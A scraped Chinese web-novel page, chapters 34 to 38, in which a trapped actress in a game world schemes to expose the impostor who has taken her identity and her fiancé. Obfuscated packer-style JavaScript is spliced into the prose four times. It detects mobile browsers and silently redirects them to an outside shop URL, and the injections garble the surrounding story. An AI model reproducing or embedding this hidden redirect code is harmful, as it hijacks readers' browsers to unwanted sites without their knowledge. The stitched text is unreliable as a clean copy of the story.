;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152552|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道视线落在自己身上时，宁昭并没觉得有什么奇怪。 然而当她跳出这个身份，以一个局外人的眼光再去看时，竟觉得这一幕是如此刺眼。 “呀，姑爷——” 李秀丽迎上前，乐开了花：“怎么这个时候来了，这日子还没到……” 此时，“宁昭”已经换了一副派头。 她脸上是落落大方的笑，与沈书言对视时，还朝他挑了挑眉，像是在暗示些什么。 这样熟稔的动作，完全就是宁昭平时会和沈书言做的，她学了个十成十。别说是沈书言了，连宁昭自己都挑不出毛病来。 心头突然涌上好奇心—— 沈书言会不会发现面前这个人是冒牌货？ 越是这样想，宁昭就越不想暴露自己的身份。 于是，她低眉顺眼地站在一旁，静静看着他们“一家人”团聚。 “刚好路过，外面下了大雨，所以冒昧打扰，来避一避。” 言简意赅说明了自己的来意，沈书言的目光落在一旁宁昭的身上，然只是轻轻一瞥，他就收回视线，再次看向他身边的“宁昭”。 “当然没问题，马上都是一家人了，说这些见外了。” 李秀丽笑眯眯地打量他和“宁昭”一眼，眼底全是笑意：“姑爷，那你先和小昭聊着，我去帮你们收拾房间。” “麻烦了。” 沈书言颔首表示同意。 “宁晦，跟我过来！” 看到宁昭，李秀丽脸上的笑意淡了些，伸手去招她：“过来和我一起给你姐夫收拾房间。” 姐夫…… 还未等宁昭仔细咀嚼这个词，她就已经被拉过去。路过时，她被迫低头和沈书言问了个好：“姐夫好。” 沈书言低头看了宁昭一眼，没有说话。 也是，他从来都不爱说话。 哪怕是面对宁昭，他都不会主动找话题，更何况是副本里一个无人在意的npc呢。 走在李秀丽身后，宁昭越发不爽。那颗原本还很安定的心逐渐惴惴不安起来。 那个冒牌货和沈书言现在独处了，她会怎么做？她看起来很喜欢沈书言，如果她用她的身体对他做一些尴尬的事情怎么办？ 她偷走了她的脸和名字，现在还要偷走她的沈书言吗？ “宁晦，你姐姐婚期在即，我不希望这期间出现任何的差错。” 走在前方的李秀丽在离开前厅后就变了一副嘴脸：“你姐夫在的这几天，你尽量不要去打扰他们。白天好好学你的礼仪，别嫁出去之后让人家笑话我李秀丽不会教女儿。” “为什么这么担心我呢？” 听完这些话，宁昭是真的有些不解：“我们不都是你的女儿吗？” 甚至，宁昭觉得这个宁晦的长相，和面前的李秀丽更为相似。 闻言，李秀丽的身形僵了僵。随后，她的语气放得缓慢而柔和：“小晦，妈妈不是担心你，是关心你。关心则乱，懂不懂？” 这话也就傻子信。 见从她嘴里翘不出话，宁昭开始复盘这个副本的主线任务。 面前的两条路清晰明了。 首先，她要破坏自己的婚礼。 其次，她要抢走自己的“姐夫”。 35. 黄道吉日 宁昭前25年的人生襟怀坦荡、爱惜羽毛，没犯过任何会影响人生的大错。 在男女关系上，她小心翼翼，保持着出道以来0绯闻的战绩。 连和男人暧昧都很久不曾有过，如今却要去抢别人的老公，这实在是让她感觉微妙。 说别人也不准确。应该是和“自己”抢老公。 “看到他们两个人在一起，妈妈是真舒心啊。” 不知是不是心情太好的缘故，李秀丽很快就把宁昭的情绪忘到脑后，开始夸赞起来：“不过宁晦，你也不要羡慕你姐姐。她那么优秀，理所应当配你姐夫那样的好男人。当然，妈妈给你说的这门亲事也不差。” ……宁昭又气又想笑。 骂她，又没完全骂。夸她，也没完全夸。 两人走到一间卧室前，李秀丽推开门，灰尘味有些呛鼻。 她连忙过去开窗：“没想到姑爷竟然会这时候过来。宁晦，你把这个房间收拾一下，我待会去买些菜，忙完过来厨房打下手。” “……” 虽然心中很不乐意，但宁昭还是照做。 收拾东西对她来说并不难，但李秀丽的态度难免让她觉得膈应。 同样是女儿，同样是婚期将近。漂亮的大女儿备受宠爱，丑陋的小女儿却被使唤着当保姆。 哪怕宁昭不是宁晦，她也会觉得不公平。 收拾着床铺，她不由得感觉迷茫。长相真的这么重要吗？ 重要到她丢了这张脸之后，喜欢自己多年的老粉会认不出她，连所谓的“母亲”都嫌弃她，偏心更漂亮的孩子。 将床铺整理得整整齐齐，宁昭又用抹布去擦桌子和窗台。还有各种容易积灰的犄角旮旯处，她一处都没有放过。 看到宁昭打扫得这么认真，李秀丽终于舒了口气，留她一个人在房间里，放心出门买菜。 边打扫边做样子的宁昭顿时松懈下来，开始在房间里翻箱倒柜，想找到些有用的线索。 结果没有任何异常，甚至连私人物品都没有，完完全全就是一个客房。 不过，从屋子的构造与摆设看来，这应该是一个条件比较富裕的家庭。 虽然一切都很陈旧，但房子的占地面积却很大。 象征性地整理了这间屋子，宁昭打开书桌抽屉，里面放有一个空白的笔记本，还有一支圆珠笔。 这是沈书言的房间，也就意味着他会看到她给他留下的东西。 要不要留？ 她思忖片刻，撕下一页纸。 【不要和她结婚，我才是】 奇怪的是，在宁昭想写下她名字时，圆珠笔忽然没水了。 明明刚才还很丝滑。 她甩了甩笔，想继续写，却依旧写不出字来。 突然，她还发现一件很诡异的事情——她不仅写不出字，连笔落在纸上划出的印记都显示不出来。 就好像有什么东西在刻意阻拦她一样。 像是想到什么，她再次下笔，写了一个“我”字。结果，没水的圆珠笔突然又管用了，丝滑得不行。 又试了几个常见的词语，都能写出来。 唯独“宁昭”这两个字写不出来。 难道这是系统不让她说的意思？ 不信邪，宁昭继续想其他的暗示方法。 然而，不管是写她的名字还是6824、队友哥，任何与他们回忆有关的词语，她都写不出来。 她这才意识到，现在已经不是和队友哥赌气的时候了。 是她压根就没办法暴露自己的身份。 后背发凉，宁昭把这团纸揉皱扔进垃圾桶里，圆珠笔也放回了原处。 回到前厅，李秀丽已经买好菜回来，正亲切地和沈书言说话。 眼尖的“宁昭”看到从里面走出来的宁昭，朝她露出一抹友好的微笑。那表情没有任何攻击性，却让宁昭感觉不适。 默念“开启聊天室”，宁昭想试试别的法子。 【抱歉，您所选用的“聊天室”功能在此副本禁用。】 脑海里立刻传来冰冷机械的女声。 “愣着干什么？快去厨房把菜洗了。” 看到宁昭一动不动杵在门口，李秀丽白了她一眼：“我待会就过去。” “……我不去。” 这次宁昭没有再顺从。她看向李秀丽，眸中的神色是她独有的坦荡的坚定：“姐姐都没去，我凭什么去？” “你这丫头……” 没想过刚才还很乖巧的宁昭会突然反腔，李秀丽脸色一冷：“你姐夫在这你没看到？” “因为姐夫在这，所以所有的活都让我干吗？那我把我的未婚夫叫来，是不是我也不用干活了？” 早就想出言怼李秀丽，如今在沈书言面前，她只希望她的表现能引起沈书言的注意与疑心。 她不像那个冒牌货，不用刻意去演宁昭。她就是她，哪怕没了美丽的皮囊，她也还是她自己。 “我去吧，你在这休息。” 谁料，脸色阴沉的李秀丽还没有发话，那个冒牌货就站起来，走到宁昭身边：“确实不该让你去，你安心休息。” 宁昭抬头看着那双笑意盈盈的眼睛，只觉恶寒。 “行了，让你干个活比登天还难。” 李秀丽哪里舍得让大女儿下厨房。她剜了宁昭一眼，哼了一声，离开前厅。 “坐吧。” “宁昭”热络地拉起宁昭的手，带着她到一旁坐下，自己则坐在了她和沈书言的中间：“你刚刚说你未婚夫，你们这些天见过面吗？” 面前的女人言语中带着试探，站在上帝角度来看，还真像是个为了通过副本努力寻找证据的玩家。 “我和他见没见过面，你不知道吗？” 宁昭也不急，把问题抛回去：“今天在我房间里时，你不是还对我的事情了如指掌吗？” 其实并没有。 但也没人规定她不能撒谎吧。 见宁昭这么不给面子，“宁昭”的眼神有些闪烁，可以看出她有些不高兴了。 但这才哪儿到哪儿。 宁昭越过冒牌货，看向一旁一直没说话的沈书言：“姐夫，这是你第一次来我们家吗？” 她这话问的很有水平。一方面让沈书言知道面前这个“宁昭”在装，另一方面又表示自己什么都不知情，比这个冒牌货更像是个一无所知的游戏玩家。 但他能不能接收到她就不确定了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165253|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >毕竟，沈书言很少将目光停留在npc的身上，而且，他对宁昭…… 要不是这次副本让她站在了局外人的角度，她还真看不出来，他喜欢她。 但同时，她也有些失落。 是不是连沈书言也只喜欢她的皮囊？ “宁昭”的身体却在这时前倾，不动声色挡住宁昭看向沈书言的眼神：“小晦，你不用对我恶意这么大，我们不会伤害你的。” “看得出来姐姐很喜欢姐夫，我看他一眼你都舍不得呢。” 宁昭才不跟她兜圈子玩心眼，直接撕破她虚假的表面，卖起了茶艺：“不过姐姐不用担心，我自己有未婚夫的，我很期待接下来的婚礼。” “宁昭”却像听到天大的笑话：“小晦，你有些糊涂了。我怎么会担心这个呢？” 言语间，多多少少有些轻蔑。 好像在说：你这样的女人怎么可能抢得走我的男人？ 听到这里，宁昭莞尔，不再说话。 她已经露出马脚了。 不知为什么，宁昭总觉得她和沈书言之间有着无言的默契。 事情发展到这个地步，他不可能没看出端倪。如果他还表现得和平时没区别，那便只剩下两个可能。 一是他像上个副本那样，有什么不得已的苦衷。 一是，他根本就不是沈书言。 宁昭可以被人替代掉，谁又知道沈书言不会呢？ 想到这里，宁昭起身，朝他们两人笑笑：“让妈妈一个人下厨还是太辛苦，我去打打下手。” 说罢，她便离开了战场。 去厨房免不了被李秀丽一顿骂。虽然难听，但宁昭没放在心上，左耳进右耳出，也就随她去了。 心中全是惹恼那冒牌货的畅快，一点都不生气。 有宁昭帮忙，晚饭很快做好。她将饭菜一一端到桌上，却借口身体不舒服回了房。 巴不得宁昭离开的李秀丽欣然同意，几乎是催着她离开餐厅。 但宁昭离开后却没回她自己的房间，而是转头去到其他房间，开始收集线索。 今天是七月初六，距离中元节，满打满算还有九天。 要想在这期间破坏一桩婚事，时间还是很紧迫的。 幸运的是，她推开的第一间房就是李秀丽的房间。 她应该是一直住在这里，房间内生活痕迹很明显，连床上的印花床单都显得很有活人气。 好在房间不大，宁昭翻了个底朝天，终于找到些有用的东西。 在她衣柜最深处有个上了锁的保险柜。宁昭没有钥匙，于是她便去商城里兑换了一个价值3积分的□□。 好在手机上的功能还在，否则，真是地狱难度的开局。 打开保险柜，她发现里面是很多金首饰，而且款式十分夸张，有项链、戒指，甚至还有中式新娘结婚时会戴的大冠冕。 宁昭掂了掂重量，还挺重，应该都是纯金的。 对于普通家庭来说，这是可以被当作传家宝的程度。 被放在黄金旁边的，是一本结婚聘书。 翻开一看，聘书上求娶的人是宁晦。 而新郎落款处却写着一个陌生的名字。 柳衡。 36. 黄道吉日 能送出贵重到要用保险柜锁起来的聘礼，可以看出这个柳家的家庭条件很富裕。 那为什么能为这个家庭带来丰厚彩礼的宁晦，处境会这么艰难？ 其中必有隐情。 目标很明确，接下来，她要搞清楚柳衡的身份，破坏这桩婚事。 至于这金首饰……宁昭思忖片刻，终于还是把它锁了起来。 接着，她又摸到了冒牌货的房间，从她的房间翻出一本婚书。 【新娘：宁昭】 【新郎：沈书言】 看到这行字，宁昭忽然紧张起来，心脏砰砰直跳。身上温度不断攀升，直到她感觉脸颊变得有些烫人，这才意识到不对劲。 她到底在脸红个什么劲啊！他们又不是真的要结婚！ 可是宁昭的脑海里却止不住旖旎的想法。她立马把婚书合上，打断了这罪恶的念头。 把婚书放回原位，宁昭又打开衣柜，发现里面都是些漂亮衣服。最多的是旗袍，还有各种绸缎的连衣裙，什么颜色都有，上面的绣花也很精致。 对比自己身上这条灰扑扑的亚麻裙，她倒真的有些像落魄的灰姑娘了。 这时，门外忽然传来一阵说笑声。那声音由远及近，宁昭一听就听出是她自己的声音，她顿时警觉起来。 冒牌货要回来了。 这房间没有能藏人的地方，电光火石间，她来不及思考，立刻钻进衣柜关上门，还从背包里拿出一张隐身贴纸贴在身上，以防万一。 “沈书言，你认识宁晦吗？” 虽然隔着一道门，但宁昭还是能听清那冒牌货的声音，故作轻快，语气也和她很像：“不知道为什么，她对我的恶意很大。” “不认识。” 沈书言的声音顿了顿：“她有做伤害你的事吗？” “没有，你放心。” “嗯，那就好。” “……” 听到这对话，宁昭觉得快呼吸不过来，胸口堵着一口气，明明没有人扼住她的喉咙，她却觉得窒息。心头不由自主涌上一些委屈。 也就是这时，她不小心碰到柜子里的衣服，衣架轻轻碰在一起，发出咔嗒的声响。 吓得她立刻屏住呼吸，神经也绷了起来。 “什么声音？” 外面是“宁昭”警惕的声音：“我的房间里不会有人吧？” 说着，她的脚步声越来越近，显然是朝她这里走过来了。 “等会，我去。” 脚步声停顿了一秒，随后又朝她走来，直到距离她只有一步之遥时停止。 “吱呀”一声，衣柜门被打开，宁昭抬头，赫然对上一双没有感情的黑色双眸。 身上贴了隐身护符，其实宁昭不该太担心。但不知为何，在看到那双凉薄的眼睛后，她的心拔凉拔凉的。这是一股比失望还难言的情感。 “有人吗？” 那边传来小心翼翼的询问声。 “没有。” 再次陷入黑暗，沈书言关上了房间门。 “走吧，我们再去别的地方看看。” “好。” 房间陷入安静，宁昭知道，他们短时间内回不来了。 她从柜子里出来，将一切回归原位，悄无声息地离开了这个冒牌货的房间。 回到自己房间，宁昭躺到床上，看着光秃秃的天花板，思绪万千。明明在进入副本前跟沈书言说过她会无条件信任他，但面对这样的情况，她还是很难做到冷静。 终于熬到夜深，她直接起身，蹑手蹑脚往沈书言房间的方向走。 走到门口，她想伸手敲门，却在这时听到身后传来冷不丁的男声：“找我有事吗？” 这是宁昭再熟悉不过的声音。做好心理建设，她转身，看到刚洗完澡正拿毛巾擦头发的沈书言，对他笑了笑：“姐夫，我有些话想和你说。” “……” 走到宁昭面前，沈书言盯着她脸看了看，随后点头：“进来吧。” 跟在他身后关上门，宁昭反手就把房门反锁，开始飚演技。 “姐夫……” 她从身后抱住沈书言的腰，语气委屈：“你不记得我了吗？” 感受到她的拥抱，他的身形立马变得僵硬。 宁昭刚才试过，她想说“我是宁昭”，但是压根说不出口。 于是她换了个更简单粗暴的方式——能不能记起她已经不重要了，达到她的目的才是最重要的。 如她预想一般，沈书言握住她圈在她腰间的手，微微使力想要拨开，她却死活不松手：“我不想你和姐姐结婚……” “……” “你喜欢我？” 一阵沉默后，沈书言终于出声。只是这语调十分淡漠，听不出喜怒，但也谈不上冰冷。 “如果不喜欢你，我会这样做吗？” 主动松开拥抱沈书言的手，宁昭走到他面前，用那双澄澈的双眸看着他，眼底的情感十分真挚：“姐夫，我不想让自己后悔。” 没想到，听到这话的沈书言竟然没有生气，反而笑了，唇畔的小梨涡若隐若现：“所以，你是想让我退了你姐姐的婚，和你结？” 很奇怪，这样的一句话，如果从那个假货的口中说出来，那就是明晃晃的嘲讽。 但在沈书言的话语中，宁昭听不出任何偏见，就好像真的只是一道淡淡的询问。 看着沈书言的笑容，宁昭觉得心情有些复杂。 “想跟我结婚的话……” 这时，宁昭的腰间突然多了一双手，随即便是一股力气，将她拉扯到他的怀里：“总得让我看看你的诚意吧？” ？ 看着面前近乎陌生的沈书言，宁昭心生诡异。 这还是队友哥吗？她觉得他好陌生。 “怎么不说话？” 见宁昭语塞，沈书言的笑意更深。他小臂一用力就把她轻松抱起，随后便将她整个人压到床上：“原来是只纸老虎。” 宁昭想问你还是沈书言吗，结果她连这句话都说不出口。 但他好像没有放过她的意思，不仅没松手，甚至还更靠近她，直至两人鼻尖对鼻尖：“不说话，我就亲下去了……” 宁昭立马伸手去推他的肩膀。 不对啊，事情怎么会发展成现在这样？ 正当她红着脸急急忙忙要起身时，耳边忽然传来沈书言闷笑的声音：“宁昭，你想没想过，你的那点演技，也会有被人看穿的一天？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178789|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁昭伸手就去掐他：“好你个沈书言……” 意识到被沈书言戏耍，宁昭恼火之余也深深松了一口气。 他看出来了，他是她的沈书言。 沈书言松开他，却依旧笑着任由她打闹：“不过刚进门那会儿确实演的挺好的。真把我当你姐夫了？” “我是影后，影后，好吗？刚才那是怕你占我便宜。” 慌忙从床上起来，宁昭拨了拨头发，开始给自己找补：“你认出来怎么不早说，害得我……” 想到刚才在衣柜里看到的眼神，宁昭还是觉得心凉。 “害得你什么？” 见宁昭欲言又止，沈书言直接追问。 害得我胆战心惊了那么久。 当然，这只是宁昭的心里话，她当然不会说出来。 “你在害怕，对么？怕我真的认不出你。” 说到这里，沈书言笑笑：“原来我在你的心里已经这么重要了。” 宁昭想说他自说自话，却又觉得他说的没错。于是，她只能红着脸扯开话题：“既然你已经认出来了，我们就不兜圈子了。” “嗯，你放心，我不会和她结婚。” 像是吃了一记定心丸，宁昭的心终于放下。她看向沈书言，发现他始终笑着，不由得问了一句：“沈书言，你看着这样的我……” 还喜欢吗？ 想这样问，但宁昭又觉得奇怪。他们两个分明是还没表白过的关系，她哪来的立场去问沈书言这样的话？ 但她是不会主动表白的，女明星的骄傲不允许她这么做。她再喜欢一个男人，在男方没有任何表示的情况下，她到死都不会让对方知道她喜欢他。 于是她最终还是选择闭嘴。 “想做什么就放心去做吧。” 见宁昭不想说，沈书言也不再追问：“你的思路是正确的，今晚来找我也是对的。” 说罢，他伸手将她脸颊的发丝拨弄到她耳后，动作轻轻的，指尖状似无意划过她脸颊，留下短暂的温热：“只是，最后的路需要你一个人走，我帮不了你。我只能保证，我不会和她结婚。” 宁昭听懂了。 “你会在这里待多久？” 她抬头看他：“我需要你帮我拖延一点时间。” “明天没问题。” “嗯，那我先走了。” 她起身想离开，却被沈书言抓住手腕：“其实，还有一个更简单粗暴的方法。” “什么？” 沈书言很少露出这种逗弄人的表情，但他一旦这么做了，宁昭就知道，他心里肯定憋着坏呢。 “如果我们两个人在一个房间里被发现，那这两门亲事就都可以退了。” 他倒是有话直说。 但宁昭知道，他说得还是含蓄了。他真正的意思应当是：如果他们两个人在一张床上被发现，那两门亲事就都完蛋了。 确实简单粗暴，但太道德败坏了。宁昭一生坦坦荡荡，可不想莫名其妙在游戏里体验一把被“捉奸在床”的滋味。 “要是我实在退不掉……” 宁昭撇过头，不想让沈书言看到她的脸：“那时候再说吧。” 说话声音比蚊子声还小。 37. 黄道吉日 没想到沈书言这个人表面不显山露水，内心还挺闷骚。 不愧是只狐狸。 回去后，宁昭的心境已经大不相同。 大概是很安心的缘故，回到床上，她很快就睡着了，一夜无梦。 第二天，她是被一阵尖叫声吵醒的。 宁家的占地面积不小，但那声音却大到能清晰传入宁昭的耳朵。 急匆匆赶到前厅，她这才发现大厅正中央跪着好几个她之前没见过的人，而站在最前面的李秀丽满脸通红，嘴里还在不停咒骂。 “说，到底是谁？！” 怒不可遏的声音响彻大厅：“昨天东西还在，怎么今天就没了？肯定是有家贼！” “妈，怎么了？” 那冒牌货听到声音也急忙赶来，看到面前的场景，她表现得很意外：“发生什么事了？” 李秀丽看到站在门口的宁昭和“宁昭”，如梦初醒般回过神来。她气势汹汹地上前，一把掐住宁昭的脖子：“说，是不是你干的？！” “妈，你先别动手！” 看到这场面，“宁昭”尖叫一声，上前就护住毫无防备的宁昭：“不管发生什么事也不能动手啊！” 突然被锁喉的宁昭根本来不及反应，就已经跌倒在地。她从未想过李秀丽会如此野蛮，直到脖子传来火辣辣的疼痛，宁昭气血上涌，反手就把李秀丽推倒：“你有病？” 到底是真动怒了，宁昭居高临下地看着李秀丽，那双狭长的丹凤眼深若寒潭，让人不寒而栗：“你再动我一下试试。” 狗急了还跳墙，她忍耐到现在，实在是不想再看李秀丽的脸色。 这样的宁晦让李秀丽感觉陌生。 但总归是自己女儿，面对如此挑衅的行为，李秀丽脸色更红，出声就骂：“你现在真是无法无天了，竟然敢伸手去推你亲妈？！” “好了，妈，你和小晦都先冷静一下。” 一直充当着和事老的“宁昭”再次出声：“究竟发生了什么事情？” 李秀丽一脸愤怒地起身，狠狠地盯着宁昭：“是不是你把柳家送来的聘礼给偷了？你个死丫头，我含辛茹苦把你养大，你就是这么对你妈的？！” 聘礼被偷？听到这话，宁昭下意识去看那假货的表情，却发现她的眸中也略过惊讶，意外的神色不像是装的。 “你有证据吗？” 回到这个问题，宁昭睨了李秀丽一眼：“凭什么断定是我偷的？” 现在李秀丽正在气头上，说不定能说出些什么和游戏相关的信息，所以宁昭并没有立马否认。 果然，被宁昭这么一刺激，李秀丽张口就骂：“除了你，还能是谁？别以为我不知道你一直盯着那套金首饰，你别想和柳家同流合污把彩礼再带回去，那是我应得的……” 说话间，宁昭一直在观察。直到李秀丽说到“柳家”这个词，旁边那冒牌货的脸色才出现些微的变化。 “妈，不要再气了。那原本就是因为小晦才送到家里的彩礼，她没有必要去偷。” “宁昭”扶着李秀丽在主位上坐下：“家里不是只有小晦一个人，下人们都问过了吗？” 一提到下人，堂前跪着的人们纷纷否认：“夫人明察，真的不是我们啊……” “不是你们，也不是我。” 宁昭的目光在这些人身上逡巡，最终落到冒牌货的脸上：“这不是还有一个人呢吗？” “不可能！” 听懂宁昭的弦外之音，李秀丽立马出声否认：“那本来……” 说到这里，“宁昭”脸上露出几不可察的笑，李秀丽也意识到话说得不妥，立马止住了话头。 “发生了什么？” 身后传来一道男声，宁昭回头，发现是沈书言。 “妈妈和姐姐污蔑我，非说我偷了柳家送过来的彩礼。” 当场表演了一个翻脸比翻书还快，宁昭走到沈书言身边，拽了拽他的袖口，表情泫然欲泣：“姐夫，你给我评评理呀……” “怎么回事？” 沈书言抬眸看向主位上的两人，眉头皱了皱：“没有证据的事情，怎么能污蔑？” 看到沈书言帮宁昭说话，冒牌货的表情终于出现裂缝。 但为了维持人设，她还是保持着应有的风度：“没有要污蔑小晦的意思，妈妈刚才也是在气头上，所以才说了重话。小晦，来姐姐身边。” 说着，她朝宁昭招手，看似亲切，实则是警告宁昭离沈书言远点。 这点小心机她怎么可能听不出来，但宁昭偏不遂她的意，还变本加厉地往沈书言的身后躲：“我不去。姐夫，你看我这里，就是被妈妈掐的。” 说着，她把脖子上的红痕露给沈书言看。 宁昭的本意只是想卖个惨，其实早就已经不疼了。但刚才李秀丽下手很重，虽然疼痛感消失，红痕却依然在，并且看起来十分触目惊心。 看到这痕迹，沈书言皱眉，寒意覆上他的眉宇：“既然没有污蔑她的意思，为什么要动手？” 看到沈书言动怒，李秀丽的情绪一下来了180度大转变。她露出谄媚的笑：“姑爷，你误会了。这丫头从小体质特殊，稍微磕碰一下皮肤都会变红，我刚刚没用力……宁晦，快过来！你躲在你姐夫身后像什么！” 深谙绿茶之道，宁昭眼巴巴看着沈书言，一脸委屈。顶着那样普通的脸，却硬是靠演技让人看出几分楚楚可怜的感觉来：“这里除了姐夫，谁还能保护我？你们一个两个都欺负我、污蔑我，还不许我申冤了？” 冒牌货太阳穴处青筋直跳，却按捺住怒意，轻声开口：“你都说了，他是你姐夫，如何能保护你？到姐姐这里来，我不会伤害你的。” 宁昭直摇头：“不行，今天你们污蔑我偷了柳家的彩礼，我一定要证明自己的清白。不是只有姐姐一个人有未婚夫，我也要去找我的未婚夫——” “不行！” 还未等宁昭把话说完，就被那冒牌货失控的声音打断。 终于露出马脚了。 宁昭心中一喜，面上的表情却依旧没变：“为什么不行？我要见我的未婚夫，这难道是个很无理的要求吗？” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189143|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个女孩子家知不知羞？” 听到宁昭要去找柳衡，李秀丽也慌了神：“哪有未过门的黄花大闺女上赶着往婆家跑的道理？让人家知道了会怎么看我们宁家？” “那姐夫来为什么不会被人笑？” “你……” “好了。” 见她们又要吵起来，沈书言出声打断。他寡淡的黑瞳轻轻扫了李秀丽和那冒牌货一眼，随后，他看向宁昭：“去找他。” “不行啊，沈……” “宁昭”想打感情牌，却被沈书言打断：“事情会闹成这样，说明彩礼失窃一事已经板上钉钉。事关宁晦的婚事，理所应当让她的婆家知道。” 说罢，他不动声色地朝宁昭的手心里塞了个小纸块：“城南平苏路的柳家，虽然远了点，但好歹在一个镇上，一来一去也花费不了多少时间。” “我要找我未婚夫来给我评理！” 接收到沈书言的信号，宁昭故作委屈地朝她们大叫一声，随后转身就跑，像风一样离开了这座压抑的宁家大宅。 两人一唱一和，压根没给她们任何反应的时间。待到李秀丽回过神来，面前哪里还有宁昭的身影。 “姑爷，你这……” 李秀丽的脸色已经很难看，但沈书言往这一站，气势压人，她实在也是不敢再有所动作。 冒牌货在一旁气得快咬碎了牙，却仍要保持冷静。她时刻记住自己现在的身份是宁昭，却不知道她早就做出了许多ooc的举动。 她看向沈书言：“她应该没事吧？” 然而，回应她的，只有他始终深若潭水的眼神。 宁宅外，怕后面有人来追她，宁昭蒙着头一口气跑了许久，直到她已经气喘吁吁，才停下脚步。 看了看身后，没有人追。 这是沈书言给她创造的机会。 刚刚那对母女的反应全被宁昭看在眼里，很显然，她们并不想让宁昭找到柳衡。 甚至在提到这个名字时，她们的神态会变得有些紧张。 这其中必有玄机，而她需要做的，就是搞清楚背后隐藏的真相。 手心里是沈书言给她塞的小方块。它被叠得很小，一层一层展开，直到它的全貌出现在宁昭面前，她发现这竟然是两张重叠起来的地图。 地图正上方写着“柳叶镇”，根据比例尺来看，这个小镇的面积并不大，而她所在的地方被圈了一个圈，上面用红笔写着两个字：宁宅。 “城南平苏路……” 想到沈书言的话，她立刻去寻找坐标，果然在最下面看到了“平苏路”这三个字。 确实距离宁宅很远，所以他给了她两张地图，方便她回来。 太贴心了。 宁昭小心翼翼折起一张地图放进背包，随后便使用技能，按下“平苏路”，实现了空间移动。 下一刻，她出现在一条完全陌生的街道，街边来往的行人看到凭空出现一个大活人，都吓了一跳。 然而，当他们回过神时，宁昭早就已经跑远，只留下他们愣怔的神情，在风中凌乱。 38. 黄道吉日 听到有人唤这个名字，宁昭先是一愣。随后她想起自己现在就叫宁晦，她转头，看到一个穿着学生制服的女生。 “你怎么会在这里？” 女生看到宁昭，眸中满是惊讶：“我以为你被你妈困在家里哪都去不了。” “我有点事。” 面对不熟悉的陌生人，宁昭三缄其口，并没有暴露身份，也没多说什么。 “有什么事？既然能出来的话，为什么不来上学啊？” 她手中提着一个皮包，确实是刚下课的模样。 “上学？” “对啊，你都一个月没来了。我们去问老师，她什么都没说，我们还担心了很久。” 看到宁昭安然无恙的模样，女生松了口气。 “我没事，小汐。” 看到女生名牌上“柳叶学堂夏汐”几个字，宁昭不动声色收回视线：“我还有事，先不说了。” 这是一个线索，但她还有更重要的事情去做。 “小晦——” 夏汐见状还想说些什么，宁昭却已转身离开。 跑到喧闹的主街道，她停下步伐，终于有空去打量这个“柳叶镇”。 入目大多是西式小洋楼，虽石柱墙壁上多有欧式雕花，但也不失中式建筑的风韵。 加上街上大多数男性都穿着中山装，女性则身着旗袍或长裙，宁昭很容易就能判断出，她来到了民国时期的中国。 这个年代算不得安稳，人们的思想也大多还未开化。就算已经有了先进的知识分子，也很难保证时代的春风已经吹到了这个算不上大的小镇。 所以，纵使没结过婚，宁昭也知道，想靠一己之力退婚谈何容易。 李秀丽那条路是万万走不通的，只有到柳家下功夫才行。 于是她四处问了问，大概得知柳家的方位，只稍稍拐了几个弯就看到了柳家的牌匾，而后是一幢比宁宅更气派的古宅。 敲响大门，许久才有人来应声。 来开门的是个穿着灰色长袍的老人，看到宁昭，他明显一愣：“宁小姐，您怎么来了？” “我……想见柳衡。” 听到这话，老人眉间划过一丝为难：“宁小姐，下周就是婚礼，您这样不合礼数。” “我有很重要的事情找他！” 宁昭的表情十万火急，眸中带着哀求：“事关婚礼，我实在没办法了。” 见她苦苦哀求，老人到底心软。他打开门：“宁小姐，您随我来。” 老人转身领她往里面走，宁昭见状松了口气。 “宁小姐，虽然不知道出了什么事，但如果二少爷知道你来找他，他会很高兴的。” 虽然明面上说着不合规矩，但老人的状态看着却轻松了许多：“他……” 说到这里，他欲言又止。 “发生什么了？” 直觉告诉她有事发生。 “没事。” “……嗯。” 柳家的条件确实要比宁家好上许多。起码，从进柳府开始，她看到的柳家装修就比宁家更奢华。 